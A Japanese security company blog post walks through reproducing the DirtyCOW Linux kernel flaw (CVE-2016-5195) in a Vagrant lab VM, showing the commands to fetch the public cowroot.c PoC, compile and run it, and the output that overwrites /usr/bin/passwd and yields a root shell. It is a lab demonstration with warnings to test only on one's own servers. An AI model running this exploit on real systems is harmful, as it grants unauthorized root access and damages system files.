Armoris日記 DirtyCOW編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

今更ながら DirtyCOW の検証をやってみます

脆弱性の検証は自身で管理するサーバー以外にはしないでください。

DirtyCOWとは Linux Kernel に存在する脆弱性Linux Kernel のメモリサブシステム内における copy-on-write の取り扱いで共有リソースへの排他的アクセスの制御ができず、同時に動作している別のコードシーケンスによって共有リソースにアクセスされてしまう競合状態が発生し、プライベートな読み取り専用メモリマッピングが破壊される脆弱性のことを言います。

Description参考:CWE

脆弱性が発表された当時すでにいくつかの PoC も公開されており、大きく話題になっていたようです。

脆弱性情報:NVD
影響を受けるバージョン:Linux Kernel 2.6.22 < 4.8.3
CVE番号:CVE-2016-5195

検証環境

今回検証にあたり Vagrant を使用して環境を用意しています。
使用した Box :sputnik13/trusty64

Name Version
Ubuntu Server 14.04
Linux Kernel 3.16.0-30-generic

さくっと検証環境を用意

以下の Vagrantfile を使用して仮想環境を用意します。

Vagrant.configure(2) do |config|
  config.vm.define :node1 do |node|
    node.vm.box = "ubuntu14.04"
    node.vm.hostname = "node1"
    node.vm.network :public_network,
      :dev => "br0",
      :mode => "bridge",
      :type => "bridge"
  end
end
Vagrant Box に関するちょっとした小ネタ

基本的に Vagrantfile に使いたい Box を書くことで自動的にダウンロードして起動してくれます。
しかしこの Box ダウンロードが非常に遅いことが多い為、wget を使用して Box をダウンロード後 Vagrant で使えるようにする方法を紹介します。

$ wget https://vagrantcloud.com/generic/boxes/ubuntu2004/versions/3.1.2/providers/libvirt.box
$ ls
libvirt.box
$ vagrant box add ubuntu2004 libvirt.box

Vagrantfile を用意したら vagrant up を実行して起動し、起動したら vagrant ssh で仮想環境に接続します。

$ vagrant up
Bringing machine 'node1' up with 'libvirt' provider...
==> node1: Creating image (snapshot of base box volume).
==> node1: Creating domain with the following settings...
〜〜〜〜 一部省略 〜〜〜〜
==> node1: Rsyncing folder: /home/ubuntu/blog/ => /vagrant
$ vagrant ssh
Welcome to Ubuntu 14.04.2 LTS (GNU/Linux 3.16.0-30-generic x86_64)

 \* Documentation:  https://help.ubuntu.com/
Last login: Wed Apr 15 10:16:51 2015 from 10.0.2.2
vagrant@node1:~$

仮想環境に接続できたら今回使用する PoC をコンパイルするために gcc を入れておきます。

vagrant@node1:~$ sudo apt update
vagrant@node1:~$ sudo apt -y install wget gcc

PoC実行前に環境の確認をします。

vagrant@node1:~$ uname -r
3.16.0-30-generic
vagrant@node1:~$ id
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),110(sambashare)

PoC を実行してみる

さくっと環境の準備が終わったら PoC を実際に実行してみます。
PoC は複数公開されていますが、今回は以下の PoC を試してみます。
PoC:EXPLOIT DB
Gist:Gist

vagrant@node1:~$ wget https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c
vagrant@node1:~$ ls
cowroot.c

PoC ファイルをダウンロードできたらコンパイルして実行します。
Exploit が成功すると以下のように root ユーザーのシェルにログインできるようになります。
id コマンドを実行して uid が root になっていることを確認します。

vagrant@node1:~$ gcc cowroot.c -o cowroot -pthread
vagrant@node1:~$ ls
cowroot  cowroot.c
vagrant@node1:~$ ./cowroot
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
Size of binary: 47032
Racing, this may take a while..
thread stopped
/usr/bin/passwd overwritten
Popping root shell.
Don't forget to restore /tmp/bak
thread stopped
root@node1:/home/vagrant# id
uid=0(root) gid=1000(vagrant) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),110(sambashare),1000(vagrant)

これで root 権限の取得まで再現できました。

最後に

今回検証した DirtyCOW と呼ばれる脆弱性は古いものですが、すでに多くの PoC や検証に関する情報が出回っています。
実際に root 権限取得までが非常に容易に行えることが確認できたと思います。
今後はこの脆弱性を組み込んだ CTF の問題なども作成できればと考えています。

また、いつものことですが 自分が管理するサーバー以外では絶対に試さないでください。
検証は自己責任でお願いします。